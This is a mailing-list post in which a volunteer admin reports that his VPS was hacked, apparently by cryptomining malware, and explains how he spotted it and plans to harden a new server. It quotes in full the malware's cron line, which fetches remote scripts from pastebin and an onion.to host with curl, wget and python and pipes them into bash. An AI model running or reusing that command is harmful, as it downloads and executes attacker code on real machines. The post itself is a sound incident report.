[ale] I was hacked!

[Jim]

I run a server on  a VPS for an organization I support pro bono. I gave 
up trying to run a mail server a while ago and started using mailgun.  
Mailgun is free for the first 10,000 emails per month and I knew 
something was wrong when I received a bill for $10 from them.  Seems my 
server that used to send less than 500 email suddenly sent nearly 20,000 
last month.  I started investigating and found that the emails were all 
sent from root to root on the same machine.

Here's one of them:

Delivered: root at xxxx.org → root at xxxx.org 'Cron <root at xxxxs> (curl -fsSL 
https://pastebin.com/raw/9QVpd02i||wget -q -O- 
https://pastebin.com/raw/9QVpd02i||python -c 'import urllib2 as 
fbi;print fbi.urlopen("https://pastebin.com/raw/t3B4cpC8").read()'||curl 
-fsSL https://pastebin.com/raw/TwuQybiQ||wget -q -O - 
https://pastebin.com/raw/TwuQybiQ||curl -fsSLk 
https://aziplcr72qjhzvin.onion.to/old.txt -m 90||wget -q -O - 
https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 
60)|bash' Server response: 250 OK

They were being sent every few seconds.  I also observed a process named 
"watchdog" that was consuming all of my cpu 100% of the time.  Every 
time I looked a the process table, I saw it at a different PID.  There 
was no way to kill it.  I did a locate search for watchdog and didn't 
find it, which wasn't a surprise.

I also noticed an entry in root's crontab that I didn't put there.  I 
edited it and removed it and a few seconds later it reappeared.  It 
looked a lot like the contents of the messag in that it was a series of 
curls, wgets, python scripts piped into bash.

At this point I figured that the system was hosed and even if I could 
remove the offensive malware, I would never trust it again.

The system wasn't perfectly locked down.  I did use an alternative ssh 
port and only one normal user had sudo group.  I didn't have root locked 
out of ssh.  I know, shame on me.  I was running fail2ban, but these 
days that's a bit of a waste of time since when the bad guys get locked 
out they just use a different IP address.  I checked ip addresses in the 
mail.log file and all that I looked at were Amazon sites, probably aws.

I'm guessing whatever was running was mining bitcoins or something.

Just in case the bad guy got in from the host, we're changing the VPS 
provider.  I do have complete backups.  The web pages are served from a 
normal user so even if they compromised something there, which I doubt, 
the normal user has no root access.  The only things I'll restore from 
the root user are scripts which I will inspect.  I think I'll be OK but 
if anyone has any suggestions, let me know.

The new server will not allow password access to ssh.  Only allow ssh 
keys.  There are only 3 users on this machine and I'm the only one who 
would know what to do with root access, so I'll have sudo permission and 
no one else.

Thanks for listening.

Jim.